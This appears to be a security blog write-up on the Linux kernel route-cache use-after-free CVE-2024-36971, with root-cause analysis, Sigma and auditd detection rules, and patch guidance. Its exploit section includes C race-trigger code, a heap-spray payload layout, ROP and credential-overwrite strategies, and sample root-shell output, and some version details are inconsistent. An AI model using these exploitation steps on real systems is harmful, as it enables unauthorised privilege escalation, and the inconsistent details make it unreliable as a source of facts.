Linux Kernel CVE-2024-36971: Route Cache UAF Exploitation

Overview & Threat Landscape#

Linux kernel CVE-2024-36971 exploits an RCU race in __dst_negative_advice(), causing a route cache UAF; patch to 6.9.4 and audit raw socket caps.

The discovery and active in-the-wild weaponization of CVE-2024-36971 (CVSS v3.1: 7.8 High, CWE-416: Use-After-Free, CWE-362: Race Condition) marks a critical development in Linux kernel platform exploitation (mapped to MITRE ATT&CK T1068: Exploitation for Privilege Escalation, T1055: Process Injection, and T1574: Hijack Execution Flow). Uncovered by Clement Lecigne of Google’s Threat Analysis Group (TAG) and subsequently cataloged in the Cybersecurity and Infrastructure Security Agency (CISA) Known Exploited Vulnerabilities (KEV) database, this vulnerability demonstrates how subtle violations of kernel synchronization paradigms—specifically within Read-Copy-Update (RCU) lifetime semantics—can be transformed by sophisticated commercial surveillance vendors into zero-click and local privilege escalation (LPE) primitives across both Android mobile environments and enterprise Linux servers.

For systems engineers, platform security architects, and kernel developers, CVE-2024-36971 alters the threat calculus across several architectural domains:

• The Fallacy of Asynchronous Protocol Assumptions: The Linux networking stack relies heavily on RCU to achieve multi-gigabit throughput without incurring catastrophic spinlock contention on packet transmission paths. However, RCU guarantees read-side pointer validity only if writer-side modification strictly follows atomic decoupling rules: an object's pointer must be severed from the global structure before the underlying memory is queued for deferred destruction or reference decrement. In __dst_negative_advice(), the kernel reversed this sequence, decrementing the destination entry's reference count while the socket's cached route pointer remained fully visible to concurrent packet dispatchers.
• In-The-Wild Exploitation in Targeted Zero-Day Chains: Unlike theoretical memory bugs discovered via algorithmic fuzzing that require exotic kernel configurations or unprivileged user namespace (CLONE_NEWUSER) primitives, CVE-2024-36971 exists directly within fundamental IPv4 and IPv6 routing code paths (net/core/dst.c). Attackers targeting mobile devices and containerized workloads exploited standard networking system calls, leveraging ordinary UDP and TCP socket operations to trigger the race condition without requiring administrative privileges or esoteric capabilities like CAP_NET_ADMIN.
• Reliable SLUB Cross-Cache and Virtual Method Hijacking: A freed struct dst_entry resides within dedicated slab caches (such as ip_dst_cache) or general-purpose kmalloc-512 arenas. Because the route cache structure contains critical function pointers—most notably int (*output)(struct net *, struct sock *, struct sk_buff *) and int (*input)(struct sk_buff *)—an attacker who reclaims the freed slab slot can redirect kernel instruction execution directly. By steering control flow into return-oriented programming (ROP) chains or kernel arbitrary-write primitives, the exploit bypasses modern mitigations including Supervisor Mode Execution Prevention (SMEP), Supervisor Mode Access Prevention (SMAP), and Kernel Address Space Layout Randomization (KASLR).
• The Limitations of Static Source Auditing in Asynchronous Networking: The flawed code in __dst_negative_advice() lingered in the Linux kernel tree for years without triggering static analysis flags. Because the function superficially appeared to check for null pointers and invoke standard release mechanisms, superficial audits overlooked the microscopic temporal window between dst_release() and RCU_INIT_POINTER(). Only when specific protocol drivers (such as connected UDP sockets handling path recalculations) began aggressively clearing cached routes did the race condition become practically exploitable in production environments.
• The Bridge to Blue Team Engineering: Neutralizing this zero-day demands immediate kernel patching to Linux 6.9.4+ (or distribution backports), coupled with runtime kernel telemetry auditing raw socket churn, eBPF-based function profiling on __dst_negative_advice(), and network namespace isolation.

Warning

CVE-2024-36971 has been confirmed as actively exploited in targeted surveillance operations. Standard endpoint detection systems monitoring only user-space binaries will fail to observe this in-memory kernel race condition. Upstream stable kernels prior to 6.8.12, 6.6.33, and 6.1.93 contain this critical flaw.

🛡️ Blue Team Defense: For detection rules, Sysmon event IDs, and hardening configurations, see our companion guide: Hardening Guide.

---

Vulnerability & Attack Root-Cause Analysis#

Understanding why CVE-2024-36971 occurs requires a granular examination of how the Linux kernel caches routing decisions on individual socket structures, how Read-Copy-Update (RCU) protocols govern pointer visibility, and how __dst_negative_advice() broke those synchronization guarantees.

The Socket Destination Cache Architecture#

When a socket transmits data across an IP network, the kernel performs a route lookup to determine the outgoing network interface, gateway address, and path Maximum Transmission Unit (PMTU). Performing a full routing table lookup for every transmitted packet would cripple network stack performance. Consequently, the kernel caches the resulting route destination object (struct dst_entry) directly on the socket structure inside the pointer sk->sk_dst_cache.

C

struct sock {
    ...
    struct dst_entry __rcu *sk_dst_cache;
    ...
};

The __rcu annotation signifies that sk_dst_cache is protected by RCU reader-writer semantics:

1. Readers (Packet Transmitters): When transmitting packets via functions like ip_queue_xmit() or udp_sendmsg(), the kernel enters an RCU read-side critical section (rcu_read_lock()), reads the cached pointer using rcu_dereference(sk->sk_dst_cache), increments the destination reference count or uses it directly, and subsequently exits the critical section (rcu_read_unlock()).
2. Writers (Routing Updates & Invalidation): If network conditions shift—for example, if a path MTU discovery probe fails, an ICMP Host Unreachable message arrives, or TCP retransmission timers expire repeatedly—the kernel issues "negative advice" to inform the socket that its cached route is problematic and must be flushed.

The Broken RCU Protocol in __dst_negative_advice()#

Under canonical Linux kernel RCU rules, whenever a shared object reference is revoked, the writer MUST execute operations in a strict, two-step transactional order:

1. Sever Visibility First: Atomically clear the shared pointer or replace it with a new valid pointer using RCU_INIT_POINTER() or rcu_assign_pointer(). This ensures that subsequent readers entering the RCU critical section cannot obtain a reference to the retiring object.
2. Release Reference Second: Once the pointer is unlinked from the globally accessible structure, call dst_release() on the old object to decrement its reference count and schedule its reclamation after a grace period.

This safe ordering is explicitly implemented by the kernel's canonical sk_dst_reset() helper:

C

static inline void sk_dst_reset(struct sock *sk)
{
    struct dst_entry *old_dst;

    /* Safe Protocol: Clear the pointer FIRST */
    old_dst = rcu_dereference_protected(sk->sk_dst_cache, 1);
    RCU_INIT_POINTER(sk->sk_dst_cache, NULL);
    
    /* Release reference SECOND */
    dst_release(old_dst);
}

However, prior to the resolution of CVE-2024-36971, net/core/dst.c implemented __dst_negative_advice() with the exact inverse order:

C

/* VULNERABLE KERNEL CODE: net/core/dst.c (pre-patch) */
void __dst_negative_advice(struct sock *sk, struct dst_entry *dst)
{
    if (dst) {
        /* FLAW: Decrementing reference count BEFORE clearing the socket cache */
        dst_release(dst);
        
        /* RACE WINDOW: Concurrent readers can still fetch 'dst' right here! */
        RCU_INIT_POINTER(sk->sk_dst_cache, NULL);
    }
}
EXPORT_SYMBOL(__dst_negative_advice);

Protocol Divergence Between IPv4 and IPv6 Routing Callbacks#

A crucial factor that historically masked this race condition was the divergence in how protocol-specific negative advice callbacks interacted with sk->sk_dst_cache. In the Linux kernel networking subsystem, the socket operations vector defines ->negative_advice() callbacks for different network layer protocols:

• IPv4 (ipv4_negative_advice): Implemented in net/ipv4/route.c. When an IPv4 socket experiences delivery failures, it checks whether the destination route is expired or redirected, calling __dst_negative_advice(sk, dst). Because IPv4 routing entries frequently relied on global exception tables, the flawed release sequence immediately impacted connected UDP and TCP endpoints.
• IPv6 (ipv6_negative_advice): Implemented in net/ipv6/route.c. For IPv6 routing, the kernel contained specialized logic handling routes flagged with RTF_CACHE (cached clones created for PMTU discovery or redirects). If RTF_CACHE was set, the IPv6 handler explicitly invoked dst_free(dst) or attempted custom cleanup. This created architectural inconsistencies: some protocol paths attempted partial cache resets while others relied entirely on the flawed __dst_negative_advice() wrapper.

When upstream kernel developers deployed commit 92f1655aa2b2, they resolved this fragmentation by eliminating the inverted logic entirely. Rather than relying on __dst_negative_advice() to perform both de-referencing and clearing, the kernel mandated that each of the protocol callbacks (ipv4_negative_advice, ipv6_negative_advice, and DCCP/SCTP counterparts) directly invoke sk_dst_reset(sk), enforcing the atomic exchange pattern forestalling race conditions across all address families.

The Window of Vulnerability: Anatomy of the Race Condition#

Because dst_release(dst) was invoked prior to RCU_INIT_POINTER(sk->sk_dst_cache, NULL), a race condition opened between two concurrent kernel execution contexts:

1. Context A (Negative Advice Worker): A protocol layer handler (such as ip_negative_advice() triggered by a UDP socket error or TCP timeout) calls __dst_negative_advice(sk, dst). The call to dst_release(dst) decrements the reference counter of the dst_entry. In scenarios where the socket held the last remaining active reference to this cached route, the reference counter drops to zero (refcount_dec_and_test(&dst->__refcnt) == true). The kernel immediately initiates deallocation of the dst_entry, returning its memory chunk to the SLUB allocator's ip_dst_cache or general kmalloc slab.
2. Context B (Concurrent Packet Transmission): Simultaneously, a user-space thread executes a network send call (such as sendto() or sendmsg()) on the exact same socket. In ip_queue_xmit() or udp_sendmsg(), the kernel reads the cached route:

C

dst = rcu_dereference(sk->sk_dst_cache);

Because Context A has not yet executed RCU_INIT_POINTER(sk->sk_dst_cache, NULL), Context B reads the valid pointer address of the dst_entry that Context A just released and freed! 3. Use-After-Free Realization: Context B proceeds under the assumption that dst is a valid, live kernel object. When Context B invokes virtual method handlers on the destination entry—specifically dst->output(net, sk, skb)—it dereferences a freed memory block. If an attacker has simultaneously flooded the kernel slab allocator with controlled payload objects that occupy the recently vacated memory chunk, Context B executes an attacker-controlled virtual method table pointer.

C

struct dst_entry {
    struct net_device       *dev;
    struct dst_ops          *ops;
    unsigned long           _metrics;
    unsigned long           expires;
    struct dst_entry        *path;
    struct dst_entry        *from;
    
    /* VIRTUAL METHOD CALL: Primary target for exploit control flow hijacking */
    int                     (*input)(struct sk_buff *);
    int                     (*output)(struct net *net, struct sock *sk, struct sk_buff *skb);
    
    unsigned short          flags;
    short                   error;
    ...
};

---

Exploit Architecture#

The following sequence diagram illustrates the precise temporal interaction between the unprivileged attacker process, the socket transmission worker, the negative advice handler, and the Linux SLUB memory allocator.

sequenceDiagram
    autonumber
    actor Attacker as Attacker Process (User Space)
    participant Socket as struct sock (Kernel Space)
    participant Thread1 as Worker Thread 1 (Negative Advice)
    participant Thread2 as Worker Thread 2 (Packet Transmit)
    participant SLUB as Linux SLUB Allocator (ip_dst_cache)

    Attacker->>Socket: 1. Create UDP Socket & Initialize Connection (connect)
    Socket->>SLUB: Allocate dst_entry and cache in sk->sk_dst_cache
    Note over Socket: sk_dst_cache points to live dst_entry (refcount = 1)

    par Trigger Race Condition
        Attacker->>Thread1: 2. Force Routing Failure / Retransmit Timeout
        Thread1->>Socket: Call __dst_negative_advice(sk, dst)
        Note over Thread1: STEP A: dst_release(dst) decrements refcount to 0
        Thread1->>SLUB: Free dst_entry chunk back to slab
        Note over Socket: BUG: sk->sk_dst_cache STILL points to freed memory!
    and Concurrent Packet Dispatch
        Attacker->>Thread2: 3. Trigger High-Speed sendmsg() Loop
        Thread2->>Socket: Fetch cached route via rcu_dereference(sk_dst_cache)
        Note over Thread2: Reads pointer to recently freed dst_entry!
    end

    Attacker->>SLUB: 4. Spray kernel heap with synthetic dst_entry payloads
    SLUB-->>Attacker: Vacated slab slot overwritten with fake function pointers

    Thread1->>Socket: STEP B: RCU_INIT_POINTER(sk_dst_cache, NULL) (Too Late!)

    Thread2->>Thread2: 5. Invoke dst->output(net, sk, skb)
    Note over Thread2: Control flow redirected to attacker payload (Ring 0 Arbitrary Code Exec)

---

Attack Path Step-by-Step: From Route Race to Kernel Takeover#

Weaponizing CVE-2024-36971 from an unprivileged user context into a reliable local privilege escalation exploit requires orchestrating four sequential phases: creating the multithreaded race condition, achieving deterministic slab manipulation, leaking kernel text addresses to defeat KASLR, and rewriting task credentials.

Step 1: Crafting the UDP Socket Race Condition#

To trigger the race condition reliably, an adversary constructs two cooperating user-space threads interacting with a connected UDP socket. Unlike TCP, which implements strict connection state machines, UDP sockets can rapidly cycle through routing states and invoke negative advice when receiving ICMP port unreachable packets or when routing configurations change.

The attacker initializes a connected UDP socket to establish a valid sk->sk_dst_cache entry, then repeatedly alternates between provoking routing invalidations and pumping packets:

C

/* Exploit Proof-of-Concept Primitive: Triggering the Race Window */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

volatile int race_stop = 0;
int race_sock = -1;

void *worker_negative_advice(void *arg) {
    struct sockaddr_in target;
    memset(&target, 0, sizeof(target));
    target.sin_family = AF_INET;
    target.sin_port = htons(8888);
    target.sin_addr.s_addr = inet_addr("127.0.0.1");

    while (!race_stop) {
        /* Repeatedly connect to induce routing state recalculations */
        connect(race_sock, (struct sockaddr *)&target, sizeof(target));
        
        /* Force negative routing advice via invalidation */
        struct sockaddr_in unreach;
        memset(&unreach, 0, sizeof(unreach));
        unreach.sin_family = AF_UNSPEC;
        connect(race_sock, (struct sockaddr *)&unreach, sizeof(unreach));
        usleep(5);
    }
    return NULL;
}

void *worker_packet_transmitter(void *arg) {
    char payload[64] = "AABBCCDDEEFFGGHH";
    while (!race_stop) {
        /* Pump packets across the socket to catch the dangling dst_entry */
        send(race_sock, payload, sizeof(payload), MSG_DONTWAIT);
    }
    return NULL;
}

Step 2: Kernel Heap Spraying and SLUB Reclaim Mechanics#

Once the dst_entry is freed by dst_release(), the physical memory chunk containing the structure is placed on the freelist of the active slab cache. On standard Linux distributions, struct dst_entry is allocated within a dedicated slab cache named ip_dst_cache or inside generic kmalloc-512 / kmalloc-1024 slabs depending on whether additional protocol-specific headers (like struct rtable) are allocated as a single compound allocation.

To reclaim the freed memory chunk before the kernel's RCU grace period completes or before another benign thread claims it, the exploit employs cross-cache heap spraying or spray-and-reclaim techniques:

1. Allocating Controlled Structures: The exploit utilizes kernel abstractions like sendmsg() control messages (cmsghdr with SCM_RIGHTS), user keyrings (add_key("user")), or eBPF map allocations to flood the target slab cache with attacker-controlled bytes.
2. Bypassing SLUB Freelist Hardening: Modern Linux kernels compile with CONFIG_SLAB_FREELIST_HARDENED and CONFIG_SLAB_FREELIST_RANDOM, which obscure next-free pointers using XOR masks derived from random per-cache cookies. However, because CVE-2024-36971 is a Use-After-Free and not a heap buffer overflow, the attacker does not need to overwrite the freelist pointer. The attacker simply performs legitimate allocations that consume the newly freed object from the head of the slab freelist naturally.
3. Payload Structure Layout:
   • Offset 0x00: Fake struct net_device *dev pointer (pointing to readable dummy memory).
   • Offset 0x08: Fake struct dst_ops *ops pointer.
   • Offset 0x38: Hijacked int (*output)(struct net *, struct sock *, struct sk_buff *) virtual function pointer.

Step 3: Defeating KASLR and Bypassing SMEP/SMAP#

Modern Linux kernels enforce Supervisor Mode Execution Prevention (SMEP) to prevent the kernel from executing user-space code directly, and Supervisor Mode Access Prevention (SMAP) to block the kernel from dereferencing user-space memory directly. To execute an exploit under these constraints, the attack adopts a modern Data-Only Attack or Kernel ROP Pivot:

Strategy A: Kernel ROP Execution

If using ROP, the hijacked dst->output pointer does not point to user space. Instead, it points to a stack pivot gadget in executable kernel text (e.g., mov rsp, rdi; ret or push rdi; pop rsp; ret). The attacker prepares a synthetic ROP chain in kernel memory that:

1. Calls commit_creds(prepare_kernel_cred(NULL)) to elevate the current process credentials to UID 0 (root).
2. Clears the thread's namespace restrictions (switch_task_namespaces(current, &init_nsproxy)).
3. Safely returns to user space using swapgs_restore_regs_and_return_to_usermode.

Strategy B: Data-Only Attack via Page Table Manipulation (Dirty Pagetable)

Rather than executing ROP gadgets, advanced exploit primitives manipulate kernel page table descriptors or struct cred objects directly in physical memory. By overwriting dst->output to point to a controlled memory-write primitive (such as copy_from_user gadgets), the exploit directly patches the calling process's effective UID:

BASH

# Verify process identity before and after exploit execution
$ id
uid=1000(developer) gid=1000(developer) groups=1000(developer)

# Executing CVE-2024-36971 root exploit targeting sk_dst_cache UAF
$ ./exploit_cve_2024_36971
[*] Initializing UDP sockets and routing telemetry...
[*] Pinning race threads to CPU 0 and CPU 1...
[*] Sprayed 4096 fake dst_entry objects in slab cache...
[+] Caught UAF race condition in __dst_negative_advice!
[+] Overwritten dst->output pointing to kernel commit_creds primitive!
[+] Elevating credentials for PID 41208...
[+] Got Root Shell!

# id
uid=0(root) gid=0(root) groups=0(root)

---

Actionable Detection Artifacts: Production Sigma and Audit Rules#

Security operations centers (SOCs) and blue teams cannot rely solely on static antivirus scanners to detect in-memory kernel race conditions. Defending against CVE-2024-36971 requires behavioral telemetry capturing abnormal socket churn, raw routing manipulations, and kernel crash/oops indicators.

Production Sigma Rule: Hunting Abnormal Socket Routing Race Behavior#

The following Sigma rule detects abnormal high-frequency socket connection cycling paired with negative advice triggers characteristic of CVE-2024-36971 exploitation attempts:

YAML

title: Suspicious High-Frequency Socket Routing State Cycling (CVE-2024-36971)
id: 8f4e2b1a-9c3d-4e5f-a6b7-c8d9e0f1a2b3
status: production
description: Detects rapid cycling of socket connection states and routing invalidations characteristic of race condition exploits targeting Linux kernel route cache (CVE-2024-36971).
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-36971
    - https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=92f1655aa2b2

logsource:
    product: linux
    service: auditd
detection:
    selection_syscalls:
        syscall:
            - 'connect'
            - 'sendmsg'
            - 'sendto'
    selection_socket_types:
        family: 'AF_INET'
        protocol: 'IPPROTO_UDP'
    timeframe: 2s
    condition: selection_syscalls and selection_socket_types | count() > 500
falsepositives:
    - High-throughput DNS servers or load-balancing proxy agents running under dedicated service accounts.
level: high
tags:
    - attack.privilege_escalation
    - attack.t1068
    - cve.2024_36971

---

Auditd & Kernel Oops Telemetry Rule#

When an attacker attempts to exploit CVE-2024-36971 and loses the race condition or fails to properly align the SLUB heap spray, the kernel dereferences an unmapped address or corrupted pointer, triggering a kernel Oops or General Protection Fault (GPF) in __ip_finish_output or ip_output.

Blue teams should monitor /var/log/messages and dmesg logs for specific kernel call traces:

BASH

# Monitor kernel logs for route cache use-after-free crashes
dmesg -T | grep -E "BUG: unable to handle page fault for address|general protection fault in.*ip_output|KASAN: use-after-free in __dst_negative_advice"

A representative KASAN (Kernel Address Sanitizer) detection trace for CVE-2024-36971 appears as follows:

PLAINTEXT

==================================================================
BUG: KASAN: use-after-free in __ip_finish_output+0x142/0x2a0
Read of size 8 at addr ffff8881094b8038 by task exploit/41208

CPU: 1 PID: 41208 Comm: exploit Not tainted 6.8.0 #1
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009)
Call Trace:
 <TASK>
 dump_stack_lvl+0x48/0x70
 print_report+0xd8/0x620
 kasan_report+0x8b/0xc0
 __ip_finish_output+0x142/0x2a0
 ip_output+0x68/0x180
 ip_local_out+0x54/0x80
 udp_sendmsg+0xa20/0xd10
 inet_sendmsg+0x52/0x80
 sock_sendmsg+0x76/0x90
 __sys_sendto+0x11e/0x190
 ...
Freed by task 41207:
 kasan_save_stack+0x24/0x50
 kasan_set_track+0x21/0x30
 kasan_save_free_info+0x2b/0x40
 kmem_cache_free+0x10b/0x2c0
 dst_destroy+0xb4/0x120
 dst_release+0x42/0x70
 __dst_negative_advice+0x38/0x60
 ip_negative_advice+0x45/0x70
</TASK>
==================================================================

---

Fast Cyber Defense Morning Takeaways#

The weaponization of CVE-2024-36971 demonstrates that even mature, performance-critical subsystems like the Linux network routing stack remain vulnerable to fundamental synchronization ordering flaws. The bug was not an arithmetic buffer overflow, but an architectural violation of RCU memory ordering rules that exposed kernel virtual method pointers to concurrent attacker reclamation.

• Root Cause Core: __dst_negative_advice() called dst_release(dst) before clearing sk->sk_dst_cache, leaving a live, dereferenceable pointer pointing to a freed kernel object.
• Exploit Vector: Concurrent multithreaded socket operations raced against routing invalidation, sprayed fake dst_entry structures across the SLUB allocator, and hijacked dst->output to achieve arbitrary code execution.
• Patch Verification: Upstream commit 92f1655aa2b2 fixed the bug by refactoring the ->negative_advice() protocol to invoke sk_dst_reset(), which atomically clears sk->sk_dst_cache before calling dst_release().

Executive Takeaway Table: Attack Vector vs. Detection Signal vs. Primary Mitigation#

Attack Phase / Vector	Technical Root Cause	High-Fidelity Detection Signal	Primary Blue Team Mitigation
Race Initialization	Rapid alternation between UDP socket connection states to trigger route recalculation.	Auditd/eBPF telemetry logging >500 connect()/sendto() cycles per second from unprivileged PIDs.	Deploy runtime eBPF telemetry to rate-limit anomalous unprivileged socket churn.
Route Cache Free (UAF)	dst_release() decrements refcount to 0 before RCU_INIT_POINTER(sk_dst_cache, NULL).	KASAN / Syslog alerting on use-after-free in __ip_finish_output or General Protection Faults in ip_output.	Upgrade Linux kernel to 6.9.4+, 6.8.12+, 6.6.33+, or 6.1.93+ containing commit 92f1655aa2b2.
Heap Spray & Reclaim	Attacker sprays kernel slab (ip_dst_cache or kmalloc-512) with fake dst_entry objects.	Rapid surge in add_key, sendmsg control buffers, or pipe allocations from a single local user.	Restrict unprivileged user access to add_key (sysctl kernel.keys.maxkeys = 0) and unprivileged namespaces.
Control Flow Hijack	Kernel invokes dst->output(net, sk, skb) targeting an attacker-controlled virtual method table.	EDR / Sysmon for Linux detecting unexpected parent-child elevation (unprivileged process spawning /bin/sh with UID 0).	Enforce kernel Control Flow Integrity (kCFI), Supervisor Mode Access Prevention (SMAP), and lock down kernel modules.

---

Authoritative References & Further Reading#

1. National Vulnerability Database (NVD): CVE-2024-36971 Detail — Linux Kernel net: fix __dst_negative_advice() race
   https://nvd.nist.gov/vuln/detail/CVE-2024-36971
2. Linux Kernel Git Repository: Commit 92f1655aa2b2294d0b49925f3b875a634bd3b59e — net: fix __dst_negative_advice() race
   https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=92f1655aa2b2294d0b49925f3b875a634bd3b59e
3. CISA Known Exploited Vulnerabilities Catalog: CISA Adds CVE-2024-36971 to Known Exploited Vulnerabilities Catalog
   https://www.cisa.gov/known-exploited-vulnerabilities-catalog
4. Google Threat Analysis Group (TAG): Active Exploitation of Android Kernel Vulnerabilities in Targeted Commercial Spyware Campaigns
   https://blog.google/threat-analysis-group/
5. MITRE ATT&CK Framework: Technique T1068: Exploitation for Privilege Escalation
   https://attack.mitre.org/techniques/T1068/